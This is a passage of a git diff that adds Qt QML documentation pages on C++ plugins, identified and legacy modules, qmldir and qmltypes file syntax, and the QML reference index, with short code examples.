+ Suppose there is a new \c TimeModel C++ class that should be made available
+ as a new QML type. It provides the current time through \c hour and \c minute
+ properties.
+
+ \snippet plugins/plugin.cpp 0
+ \dots
+
+ To make this type available, we create a plugin class named \c QExampleQmlPlugin
+ which is a subclass of \l QQmlExtensionPlugin. It overrides the
+ \l{QQmlExtensionPlugin::}{registerTypes()} method in order to register the \c TimeModel
+ type using qmlRegisterType(). It also uses the Q_PLUGIN_METADATA() macro in the class
+ definition to register the plugin with the Qt meta object system using a unique
+ identifier for the plugin.
+
+ \snippet plugins/plugin.cpp plugin
+
+ The \c TimeModel class receives a \c{1.0} version of this plugin library, as
+ a QML type called \c Time. The Q_ASSERT() macro can ensure the type namespace is
+ imported correctly by any QML components that use this plugin. The
+ \l{Defining QML Types from C++} article has more information about registering C++
+ types into the runtime.
+
+ For this example, the TimeExample source directory is in
+ \c{imports/TimeExample}. The plugin's type namespace will mirror
+ this structure, so the types are registered into the namespace
+ "TimeExample".
+
+ Additionally, the project file, in a \c .pro file, defines the project as a plugin library,
+ specifies it should be built into the \c imports/TimeExample directory, and registers
+ the plugin target name and various other details:
+
+ \code
+ TEMPLATE = lib
+ CONFIG += qt plugin
+ QT += qml
+
+ DESTDIR = imports/TimeExample
+ TARGET = qmlqtimeexampleplugin
+ SOURCES += qexampleqmlplugin.cpp
+ \endcode
+
+ Finally, a \l{Module Definition qmldir Files}{qmldir file} is required
+ in the \c imports/TimeExample directory to describe the plugin and the types that it
+ exports. The plugin includes a \c Clock.qml file along with the \c qmlqtimeexampleplugin
+ that is built by the project (as shown above in the \c .pro file) so both of these
+ need to be specified in the \c qmldir file:
+
+ \quotefile plugins/imports/TimeExample/qmldir
+
+ Once the project is built and installed, the new \c Time component is
+ accessible by any QML component that imports the \c TimeExample
+ module
+
+ \snippet plugins/plugins.qml 0
+
+ The full source code is available in the \l {qml/plugins}{plugins example}.
+
+
+\section1 Reference
+
+ \list
+ \li \l {Writing QML Extensions with C++} - contains a chapter
+ on creating QML plugins.
+ \li \l{Defining QML Types from C++} - information about registering C++ types into
+ the runtime.
+ \li \l{How to Create Qt Plugins} - information about Qt plugins
+ \endlist
+
+
+*/
diff --git a/src/qml/doc/src/qmllanguageref/modules/identifiedmodules.qdoc b/src/qml/doc/src/qmllanguageref/modules/identifiedmodules.qdoc
new file mode 100644
index 0000000000..34d4b864a8
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/modules/identifiedmodules.qdoc
@@ -0,0 +1,198 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-modules-identifiedmodules.html
+\title Identified Modules
+\brief Creating and importing identified modules
+
+Identified modules are modules that are installed and identifiable to the QML
+engine by a URI in the form of a dotted identifier string, which should be
+specified by the module in its \c qmldir file. This enables such modules to
+be imported with a unique identifier that remains the same no matter where the
+module is located on the local file system.
+
+When importing an identified module, an unquoted identifier is used, with a
+mandatory version number:
+
+\snippet qml/imports/installed-module.qml imports
+
+Identified modules must be installed into the
+\l{qtqml-syntax-imports.html#qml-import-path}{import path} in order to be found
+by the QML engine.
+
+\section1 Locally Installed Identified Modules
+
+A directory of QML and/or C++ files can be shared as an identified module if it
+contains a \l{qtqml-modules-qmldir.html}{qmldir file} with the module metadata
+and is installed into the QML import path. Any QML file on the local file
+system can import this directory as a module by using an
+\l{qtqml-syntax-imports.html}{import} statement that refers to the module's
+URI, enabling the file to use the \l{qtqml-typesystem-objecttypes.html}
+{QML object types} and \l{qtqml-javascript-resources.html}
+{JavaScript resources} defined by the module.
+
+The module's \c qmldir file must reside in a directory structure within the
+\l{qtqml-syntax-imports.html#qml-import-path}{import path} that reflects the
+URI dotted identifier string, where each dot (".") in the identifier reflects
+a sub-level in the directory tree. For example, the \c qmldir file of the
+module \c com.mycompany.mymodule must be located in the sub-path
+\c com/mycompany/mymodule/qmldir somewhere in the
+\l{qtqml-syntax-imports.html#qml-import-path}{import path}.
+
+It is possible to store different versions of a module in subdirectories of its
+own. For example, a version 2.1 of a module could be located under
+\c com/mycompany/mymodule.2/qmldir or \c com/mycompany/mymodule.2.1/qmldir.
+The engine will automatically load the module which matches best.
+
+Alternatively, versioning for different types can be defined within a qmldir
+file itself, however this can make updating such a module more difficult (as a
+\c qmldir file merge must take place as part of the update procedure).
+
+
+\section2 An Example
+
+Consider the following QML project directory structure. Under the top level
+directory \c myapp, there are a set of common UI components in a sub-directory
+named \c mycomponents, and the main application code in a sub-directory named
+\c main, like this:
+
+\code
+myapp
+ |- mycomponents
+ |- CheckBox.qml
+ |- DialogBox.qml
+ |- Slider.qml
+ |- main
+ |- application.qml
+\endcode
+
+To make the \c mycomponents directory available as an identified module, the
+directory must include a \l{qtqml-modules-qmldir.html}{qmldir file} that
+defines the module identifier, and describes the object types made available by
+the module. For example, to make the \c CheckBox, \c DialogBox and \c Slider
+types available for version 1.0 of the module, the \c qmldir file would contain
+the following:
+
+\code
+module myapp.mycomponents
+CheckBox 1.0 CheckBox.qml
+DialogBox 1.0 DialogBox.qml
+Slider 1.0 Slider.qml
+\endcode
+
+Additionally, the location of the \c qmldir file in the
+\l{qtqml-syntax-imports.html#qml-import-path}{import path} must match the
+module's dotted identifier string. So, say the top level \c myapp directory is
+located in \c C:\qml\projects, and say the module should be identified as
+"myapp.mycomponents". In this case:
+
+\list
+\li The path \c C:\qml\projects should be added to the
+ \l{qtqml-syntax-imports.html#qml-import-path}{import path}
+\li The qmldir file should be located under \c C:\qml\projects\myapp\mycomponents\qmldir
+\endlist
+
+Once this is done, a QML file located anywhere on the local filesystem can
+import the module by referring to its URI and the appropriate version:
+
+\qml
+import myapp.mycomponents 1.0
+
+DialogBox {
+ CheckBox {
+ // ...
+ }
+ Slider {
+ // ...
+ }
+}
+\endqml
+
+\section1 Remotely Installed Identified Modules
+
+Identified modules are also accessible as a network resource. In the previous
+example, if the \c C:\qml\projects directory was hosted as
+\c http://www.some-server.com/qml/projects and this URL was added to the QML
+import path, the module could be imported in exactly the same way.
+
+Note that when a file imports a module over a network, it can only access QML
+and JavaScript resources provided by the module; it cannot access any types
+defined by C++ plugins in the module.
+
+
+\section1 Semantics of Identified Modules
+
+An identified module is provided with the following guarantees by the QML
+engine:
+\list
+\li other modules are unable to modify or override types in the module's
+ namespace
+\li other modules are unable to register new types into the module's
+ namespace
+\li usage of type names by clients will resolve deterministically to a given
+ type definition depending on the versioning specified and the import order
+\endlist
+
+This ensures that clients which use the module can be certain that the
+object types defined in the module will behave as the module author documented.
+
+An identified module has several restrictions upon it:
+\list
+\li an identified module must must be installed into the
+ \l{qtqml-syntax-imports.html#qml-import-path}{QML import path}
+\li the module identifier specified in the \l{qtqml-modules-qmldir.html}
+ {module identifier directive} must match the install path of the module
+ (relative to the QML import path, where directory separators are replaced
+ with period characters)
+\li the module must register its types into the module identifier type
+ namespace
+\li the module may not register types into any other module's namespace
+\li clients must specify a version when importing the module
+\endlist
+
+For example, if an identified module is installed into
+\c{$QML2_IMPORT_PATH/ExampleModule}, the module identifier directive must be:
+\code
+module ExampleModule
+\endcode
+
+If the strict module is installed into
+\c{$QML2_IMPORT_PATH/com/example/CustomUi}, the module identifier directive
+must be:
+\code
+module com.example.CustomUi
+\endcode
+
+Clients will then be able to import the above module with the following import
+statement (assuming that the module registers types into version 1.0 of its
+namespace):
+\qml
+import com.example.CustomUi 1.0
+\endqml
+
+*/
+
diff --git a/src/qml/doc/src/qmllanguageref/modules/legacymodules.qdoc b/src/qml/doc/src/qmllanguageref/modules/legacymodules.qdoc
new file mode 100644
index 0000000000..26981334b7
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/modules/legacymodules.qdoc
@@ -0,0 +1,83 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qtqml-modules-legacymodules.html
+\title Legacy Modules
+\brief Description of legacy QML modules
+
+Legacy modules are modules whose specification \c qmldir file does not contain
+a module identifier directive. A legacy module may be either installed into
+the QML import path (as an installed legacy module) or imported by clients with
+a relative import (as a located legacy module). Clients are advised to avoid
+using legacy modules if possible. Module developers should ensure they create
+identified modules and not legacy modules.
+
+\section1 Installed Legacy Modules
+
+An installed, non-identified module is automatically given an identifier by the
+QML engine. This implicitly defined identifier is equal to the install path of
+the module (relative to the QML import path) where directory-separator
+characters are replaced with period characters.
+
+A non-identified module which is installed into the QML import path has the
+following semantics:
+\list
+\li it may be imported by clients via the implicit module identifier
+\li clients must specify a version when importing the module
+\li conflicting type names are resolved arbitrarily by the QML engine, and the
+ way in which conflicts are resolved is not guaranteed to stay the same
+ between different versions of QML
+\li other legacy modules may modify or override type definitions provided by
+ the installed legacy module
+\endlist
+
+\section1 Located Legacy Modules
+
+A non-identified module which is imported via a relative directory path
+import statement is loaded by the engine as a located legacy module. The
+following semantics apply to located legacy modules:
+\list
+\li it may be imported by clients via a relative import path
+\li it is not mandatory for clients to specify a version when importing the
+ module
+\li if no import version is supplied by the client in the import statement,
+ no guarantees are given by the QML engine about which version of the
+ definition of a given type name will be imported
+\li conflicting type names are resolved arbitrarily by the QML engine, and the
+ way in which conflicts are resolved is not guaranteed to stay the same
+ between different versions of QML
+\li other legacy modules may modify or override type definitions provided by
+ the located legacy module
+\endlist
+
+A located legacy module may reside on the local file system or on the
+network and can be referred to by a URL that specifies the file system path or
+network URL.
+
+*/
+
diff --git a/src/qml/doc/src/qmllanguageref/modules/qmldir.qdoc b/src/qml/doc/src/qmllanguageref/modules/qmldir.qdoc
new file mode 100644
index 0000000000..57d54e27e0
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/modules/qmldir.qdoc
@@ -0,0 +1,434 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-modules-qmldir.html
+\title Module Definition qmldir Files
+\brief How to write a qmldir file which defines a QML module
+
+There are two distinct types of \c qmldir files:
+\list
+\li QML document directory listing files
+\li QML module definition files
+\endlist
+
+This documentation covers only the second form of \c qmldir file. For more
+information about the first form of \c qmldir file, please see the
+documentation about
+\l{qtqml-syntax-directoryimports.html#directory-listing-qmldir-files}
+{directory listing qmldir files}.
+
+\section1 Contents of a Module Definition qmldir File
+
+A \c qmldir file which defines a module is a plain-text file which consists
+of the following commands:
+
+\table
+ \header
+ \li Command
+ \li Syntax
+ \li Usage
+
+ \row
+ \li Module Identifier Directive
+ \li
+ \code
+module <ModuleIdentifier>
+ \endcode
+ \li Declares the module identifier of the module.
+ The <ModuleIdentifier> is the (dotted URI notation) identifier
+ for the module, which must match the module's install path.
+
+ The \l{qtqml-modules-topic.html#the-module-identifier-directive}
+ {module identifier directive} must be the first line of the file.
+ Exactly one module identifier directive may exist in the \c qmldir
+ file.
+
+ Example:
+ \code
+module ExampleModule
+ \endcode
+
+ \row
+ \li Object Type Declaration
+ \li
+ \code
+<TypeName> <InitialVersion> <File>
+ \endcode
+ \li Declares a \l{qtqml-typesystem-objecttypes.html}{QML object type}
+ to be made available by the module.
+ \list
+ \li \c <TypeName> is the type being made available
+ \li \c <InitialVersion> is the module version for which the type is to be made available
+ \li \c <File> is the (relative) file name of the QML file that defines the type
+ \endlist
+
+ Zero or more object type declarations may exist in the \c qmldir
+ file, however each object type must have a unique type name within
+ any particular version of the module.
+
+ Example:
+ \code
+MyCustomType 1.0 MyCustomType.qml
+ \endcode
+
+ \row
+ \li Internal Object Type Declaration
+ \li
+ \code
+internal <TypeName> <File>
+ \endcode
+ \li Declares an object type that is in the module but should not be
+ made available to users of the module.
+
+ Zero or more internal object type declarations may exist in the
+ \c qmldir file.
+
+ Example:
+ \code
+internal MyPrivateType MyPrivateType.qml
+ \endcode
+
+ This is necessary if the module may be imported remotely (see
+ \l{Remotely Installed Modules}) because if an exported type depends
+ on an non-exported type within the module, the engine must also
+ load the non-exported type.
+
+ \row
+ \li JavaScript Resource Declaration
+ \li
+ \code
+<ResourceIdentifier> <InitialVersion> <File>
+ \endcode
+ \li Declares a JavaScript file to be made available by the module.
+ The resource will be made available via the specified identifier
+ with the specified version number.
+
+ Zero or more JavaScript resource declarations may exist in the
+ \c qmldir file, however each JavaScript resource must have a unique
+ identifier within any particular version of the module.
+
+ Example:
+ \code
+MyScript 1.0 MyScript.js
+ \endcode
+
+ See the documentation about \l{qtqml-javascript-resources.html}
+ {defining JavaScript resources} and
+ \l{qtqml-javascript-imports.html}
+ {Importing JavaScript Resources In QML} for more information.
+
+ \row
+ \li C++ Plugin Declaration
+ \li
+ \code
+plugin <Name> [<Path>]
+ \endcode
+ \li Declares a plugin to be made available by the module.
+
+ \list
+ \li \c <Name> is the plugin library name. This is usually not the
+ same as the file name of the plugin binary, which is platform
+ dependent; e.g. the library \c MyAppTypes would produce
+ \c libMyAppTypes.so on Linux and \c MyAppTypes.dll on Windows.
+ \li \c <Path> (optional) specifes either:
+ \list
+ \li an absolute path to the directory containing the plugin
+ file, or
+ \li a relative path from the directory containing the \c qmldir
+ file to the directory containing the plugin file.
+ \endlist
+
+ By default the engine searches for the plugin library in the
+ directory that contains the \c qmldir file. (The plugin search
+ path can be queried with QQmlEngine::pluginPathList() and
+ modified using QQmlEngine::addPluginPath().)
+ \endlist
+
+ Zero or more C++ plugin declarations may exist in the \c qmldir
+ file, however since plugin loading is a relatively expensive
+ operation, clients are advised to specify at most a single plugin.
+
+ Example:
+ \code
+plugin MyPluginLibrary
+ \endcode
+
+ \row
+ \li Type Information Description File Declaration
+ \li
+ \code
+typeinfo <File>
+ \endcode
+ \li Declares a \l{Writing a qmltypes file}{type description file} for
+ the module that can be read by QML tools such as Qt Creator to
+ access information about the types defined by the module's plugins.
+ \c <File> is the (relative) file name of a \c .qmltypes file.
+
+ Example:
+ \code
+typeinfo mymodule.qmltypes
+ \endcode
+
+ Without such a file, QML tools may be unable to offer features such
+ as code completion for the types defined in your plugins.
+
+ \row
+ \li Comment
+ \li
+ \code
+# <Comment>
+ \endcode
+ \li Declares a comment. These are ignored by the engine.
+
+ Example:
+ \code
+# this is a comment
+ \endcode
+\endtable
+
+Each command in a \c qmldir file must be on a separate line.
+
+\section1 Versioning Semantics
+
+Types which are exported for a particular version are still made available if a
+later version is imported. If a module provides a \c MyButton type in version
+1.0 and a \c MyWindow type in version 1.1, clients which import version 1.1 of
+the module will be able to use the \c MyButton type and the \c MyWindow type.
+However, the reverse is not true: a type exported for a particular version
+cannot be used if an earlier version is imported. If the client had imported
+version 1.0 of the module, they can use the \c MyButton type but \b not the
+\c MyWindow type.
+
+A version cannot be imported if no types have been explicitly exported for that
+version. If a module provides a \c MyButton type in version 1.0 and a
+\c MyWindow type in version 1.1, you cannot import version 1.2 or version 2.0 of
+that module.
+
+A type can be defined by different files in different versions. In this case,
+the most closely matching version will be used when imported by clients.
+For example, if a module had specified the following types via its \c qmldir
+file:
+
+\code
+module ExampleModule
+MyButton 1.0 MyButton.qml
+MyButton 1.1 MyButton11.qml
+MyButton 1.3 MyButton13.qml
+MyButton 2.0 MyButton20.qml
+MyRectangle 1.2 MyRectangle12.qml
+\endcode
+
+a client who imports version 1.2 of ExampleModule will get the \c MyButton
+type definition provided by \c MyButton11.qml as it is the most closely
+matching (i.e., latest while not being greater than the import) version of the
+type, and the \c MyRectangle type definition provided by \c MyRectangle12.qml.
+
+The versioning system ensures that a given QML file will work regardless of the
+version of installed software, since a versioned import \e only imports types
+for that version, leaving other identifiers available, even if the actual
+installed version might otherwise provide those identifiers.
+
+See \l{examples/qml/plugins} for an example that uses C++
+plugins.
+
+
+\section1 Example of a qmldir File
+
+One example of a \c qmldir file follows:
+
+\code
+module ExampleModule
+CustomButton 1.0 CustomButton.qml
+CustomButton 2.0 CustomButton20.qml
+CustomButton 2.1 CustomButton21.qml
+plugin examplemodule
+MathFunctions 2.0 mathfuncs.js
+\endcode
+
+The above \c qmldir file defines a module called "ExampleModule". It defines
+the \c CustomButton QML object type in versions 1.1, 2.0 and 2.1 of the
+module, with different implementations in each version. It specifies a plugin
+which must be loaded by the engine when the module is imported by clients, and
+that plugin may register various C++-defined types with the QML type system.
+On Unix-like systems the QML engine will attempt to load \c libexamplemodule.so
+as a QQmlExtensionPlugin, and on Windows it will attempt to load
+\c examplemodule.dll as a QQmlExtensionPlugin. Finally, the \c qmldir file
+specifies a \l{qtqml-javascript-resources.html}{JavaScript resource} which is
+only available if version 2.0 or greater of the module is imported, accessible
+via the \c MathFunctions identifier.
+
+If the module is \l{qtqml-modules-identifiedmodules.html}{installed} into the
+QML import path, clients could import and use the module in the following
+manner:
+
+\qml
+import QtQuick 2.0
+import ExampleModule 2.1
+
+Rectangle {
+ width: 400
+ height: 400
+ color: "lightsteelblue"
+
+ CustomButton {
+ color: "gray"
+ text: "Click Me!"
+ onClicked: MathFunctions.generateRandom() > 10 ? color = "red" : color = "gray";
+ }
+}
+\endqml
+
+The \c CustomButton type used above would come from the definition specified in
+the \c CustomButton21.qml file, and the JavaScript resource identified by the
+\c MathFunctions identifier would be defined in the \c mathfuncs.js file.
+
+
+\section1 Writing a qmltypes File
+
+QML modules may refer to one or more type information files in their
+\c qmldir file. These usually have the \c .qmltypes
+extension and are read by external tools to gain information about
+types defined in plugins.
+
+As such qmltypes files have no effect on the functionality of a QML module.
+Their only use is to allow tools such as Qt Creator to provide code completion,
+error checking and other functionality to users of your module.
+
+Any module that uses plugins should also ship a type description file.
+
+The best way to create a qmltypes file for your module is to generate it
+using the \c qmlplugindump tool that is provided with Qt.
+
+Example:
+If your module is in \c /tmp/imports/My/Module, you could run
+\code
+qmlplugindump My.Module 1.0 /tmp/imports > /tmp/imports/My/Module/mymodule.qmltypes
+\endcode
+to generate type information for your module. Afterwards, add the line
+\code
+typeinfo mymodule.qmltypes
+\endcode
+to \c /tmp/imports/My/Module/qmldir to register it.
+
+While the qmldump tool covers most cases, it does not work if:
+\list
+\li The plugin uses a \c{QQmlCustomParser}. The component that uses
+ the custom parser will not get its members documented.
+\li The plugin can not be loaded. In particular if you cross-compiled
+ the plugin for a different architecture, qmldump will not be able to
+ load it.
+\endlist
+
+In case you have to create a qmltypes file manually or need to adjust
+an existing one, this is the file format:
+
+\qml
+import QtQuick.tooling 1.1
+
+// There always is a single Module object that contains all
+// Component objects.
+Module {
+ // A Component object directly corresponds to a type exported
+ // in a plugin with a call to qmlRegisterType.
+ Component {
+
+ // The name is a unique identifier used to refer to this type.
+ // It is recommended you simply use the C++ type name.
+ name: "QQuickAbstractAnimation"
+
+ // The name of the prototype Component.
+ prototype: "QObject"
+
+ // The name of the default property.
+ defaultProperty: "animations"
+
+ // The name of the type containing attached properties
+ // and methods.
+ attachedType: "QQuickAnimationAttached"
+
+ // The list of exports determines how a type can be imported.
+ // Each string has the format "URI/Name version" and matches the
+ // arguments to qmlRegisterType. Usually types are only exported
+ // once, if at all.
+ // If the "URI/" part of the string is missing that means the
+ // type should be put into the package defined by the URI the
+ // module was imported with.
+ // For example if this module was imported with 'import Foo 4.8'
+ // the Animation object would be found in the package Foo and
+ // QtQuick.
+ exports: [
+ "Animation 4.7",
+ "QtQuick/Animation 1.0"
+ ]
+
+ // The meta object revisions for the exports specified in 'exports'.
+ // Describes with revisioned properties will be visible in an export.
+ // The list must have exactly the same length as the 'exports' list.
+ // For example the 'animations' propery described below will only be
+ // available through the QtQuick/Animation 1.0 export.
+ exportMetaObjectRevisions: [0, 1]
+
+ Property {
+ name: "animations";
+ type: "QQuickAbstractAnimation"
+ // defaults to false, whether this property is read only
+ isReadonly: true
+ // defaults to false, whether the type of this property was a pointer in C++
+ isPointer: true
+ // defaults to false: whether the type actually is a QQmlListProperty<type>
+ isList: true
+ // defaults to 0: the meta object revision that introduced this property
+ revision: 1
+ }
+ Property { name: "loops"; type: "int" }
+ Property { name: "name"; type: "string" }
+ Property { name: "loopsEnum"; type: "Loops" }
+
+ Enum {
+ name: "Loops"
+ values: {
+ "Infinite": -2,
+ "OnceOnly": 1
+ }
+ }
+
+ // Signal and Method work the same way. The inner Parameter
+ // declarations also support the isReadonly, isPointer and isList
+ // attributes which mean the same as for Property
+ Method { name: "restart" }
+ Signal { name: "started"; revision: 2 }
+ Signal {
+ name: "runningChanged"
+ Parameter { type: "bool" }
+ Parameter { name: "foo"; type: "bool" }
+ }
+ }
+}
+\endqml
+
+*/
+
diff --git a/src/qml/doc/src/qmllanguageref/modules/topic.qdoc b/src/qml/doc/src/qmllanguageref/modules/topic.qdoc
new file mode 100644
index 0000000000..597e7b7ca3
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/modules/topic.qdoc
@@ -0,0 +1,105 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qtqml-modules-topic.html
+\title QML Modules
+\brief Description of how to write modules for QML
+
+A QML module provides versioned types and JavaScript resources in a type
+namespace which may be used by clients who import the module. The types which
+a module provides may be defined in C++ within a plugin, or in QML documents.
+Modules make use of the QML versioning system which allows modules to be
+independently updated.
+
+Defining of a QML module allows:
+\list
+\li The sharing of common QML types within a project - for example, a group of
+ UI components that are used by different windows
+\li The distribution of QML-based libraries
+\li The modularization of distinct features, so that applications only load the
+ libraries necessary for their individual needs
+\li Versioning of types and resources so that the module can be updated safely
+ without breaking client code
+\endlist
+
+
+\section1 Defining a QML Module
+
+A module is defined by a \l{qtqml-modules-qmldir.html}
+{module definition qmldir file}. Each module has an associated type
+namespace, which is the module's identifier. A module can provide QML object
+types (defined either by QML documents or via a C++ plugin) and JavaScript
+resources, and may be imported by clients.
+
+To define a module, a developer should gather together the various QML
+documents, JavaScript resources and C++ plugins which belong in the module
+into a single directory, and write an appropriate \l{qtqml-modules-qmldir.html}
+{module definition qmldir file} which should also be placed into the directory.
+The directory can then be installed into the
+\l{qtqml-syntax-imports.html#qml-import-path}{QML import path} as a module.
+
+Note that defining a module is not the only way to share common QML types
+within a project - a simple \l{qtqml-syntax-imports.html#directory-import}
+{QML document directory import} may also be used for this purpose.
+
+\section1 Supported QML Module Types
+
+There are two different types of modules supported by QML:
+\list
+\li \l{qtqml-modules-identifiedmodules.html}{Identified Modules}
+\li \l{qtqml-modules-legacymodules.html}{Legacy Modules} (deprecated)
+\endlist
+
+Identified modules explicitly define their identifier and are installed into
+QML import path. Identified modules are more maintainable (due to type
+versioning) and are provided with type registration guarantees by the QML
+engine which are not provided to legacy modules. Legacy modules are only
+supported to allow legacy code to continue to work with the latest version of
+QML, and should be avoided by clients if possible.
+
+Clients may import a QML module from within QML documents or JavaScript files.
+Please see the documentation about
+\l{qtqml-syntax-imports.html#module-namespace-imports}{importing a QML module}
+for more information on the topic.
+
+\section1 Providing Types and Functionality in a C++ Plugin
+
+An application which has a lot of logic implemented in C++, or which defines
+types in C++ and exposes them to QML, may wish to implement a QML plugin. A
+QML extension module developer may wish to implement some types in a C++ plugin
+(as opposed to defining them via QML documents) to achieve better performance
+or for greater flexibility.
+
+Every C++ plugin for QML has an initialiatization function which is called by
+the QML engine when it loads the plugin. This initialization function must
+register any types that the plugin provides, but must not do anything else
+(for example, instantiating QObjects is not allowed).
+
+See \l{qtqml-modules-cppplugins.html}{Creating C++ Plugins For QML} for more information.
+
+*/
diff --git a/src/qml/doc/src/qmllanguageref/qmlreference.qdoc b/src/qml/doc/src/qmllanguageref/qmlreference.qdoc
new file mode 100644
index 0000000000..0bc8f90238
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/qmlreference.qdoc
@@ -0,0 +1,113 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qmlreference.html
+\title The QML Reference
+\brief A declarative language for application development
+
+QML is a declarative language for creating highly dynamic applications. With
+QML, application building blocks such as UI components are \e declared and
+various properties set to define the application behavior. When coupled with
+JavaScript, application behavior becomes scriptable. In addition, QML heavily
+uses Qt, which allows types and other Qt features to be accessible directly from
+QML applications.
+
+This reference guide describes the features of the QML language. Many of the
+QML types in the guide originate from the \l{Qt QML} or \l{Qt Quick}
+modules.
+
+\list
+ \li \l{qtqml-syntax-basics.html}{QML Syntax Basics}
+ \list
+ \li \l{qtqml-syntax-imports.html}{Import Statements}
+ \li \l{qtqml-syntax-basics.html#object-declarations}{Object Declarations}
+ \list
+ \li \l{qtqml-syntax-basics.html#child-objects}{Child Objects}
+ \endlist
+ \li \l{qtqml-syntax-basics.html#comments}{Comments}
+ \endlist
+
+ \li \l{qtqml-syntax-objectattributes.html}{QML Object Attributes}
+ \list
+ \li \l{qtqml-syntax-objectattributes.html#the-id-attribute}{The \e id Attribute}
+ \li \l{qtqml-syntax-objectattributes.html#property-attributes}{Property Attributes}
+ \li \l{qtqml-syntax-objectattributes.html#signal-attributes}{Signal Attributes}
+ \li \l{qtqml-syntax-objectattributes.html#method-attributes}{Method Attributes}
+ \li \l{qtqml-syntax-objectattributes.html#attached-properties-and-attached-signal-handlers}{Attached Properties and Attached Signal Handlers}
+ \endlist
+
+ \li \l{qtqml-syntax-propertybinding.html}{Property Binding}
+
+ \li \l{qtqml-syntax-signals.html}{Signal and Handler Event System}
+
+ \li \l{qtqml-javascript-topic.html}{Integrating QML and JavaScript}
+ \list
+ \li \l{qtqml-javascript-expressions.html}{Using JavaScript Expressions with QML}
+ \li \l{qtqml-javascript-dynamicobjectcreation.html}{Dynamic QML Object Creation from JavaScript}
+ \li \l{qtqml-javascript-resources.html}{Defining JavaScript Resources In QML}
+ \li \l{qtqml-javascript-imports.html}{Importing JavaScript Resources In QML}
+ \li \l{qtqml-javascript-hostenvironment.html}{JavaScript Host Environment}
+ \endlist
+
+ \li \l{qtqml-typesystem-topic.html}{The QML Type System}
+ \list
+ \li \l{qtqml-typesystem-basictypes.html}{Basic Types}
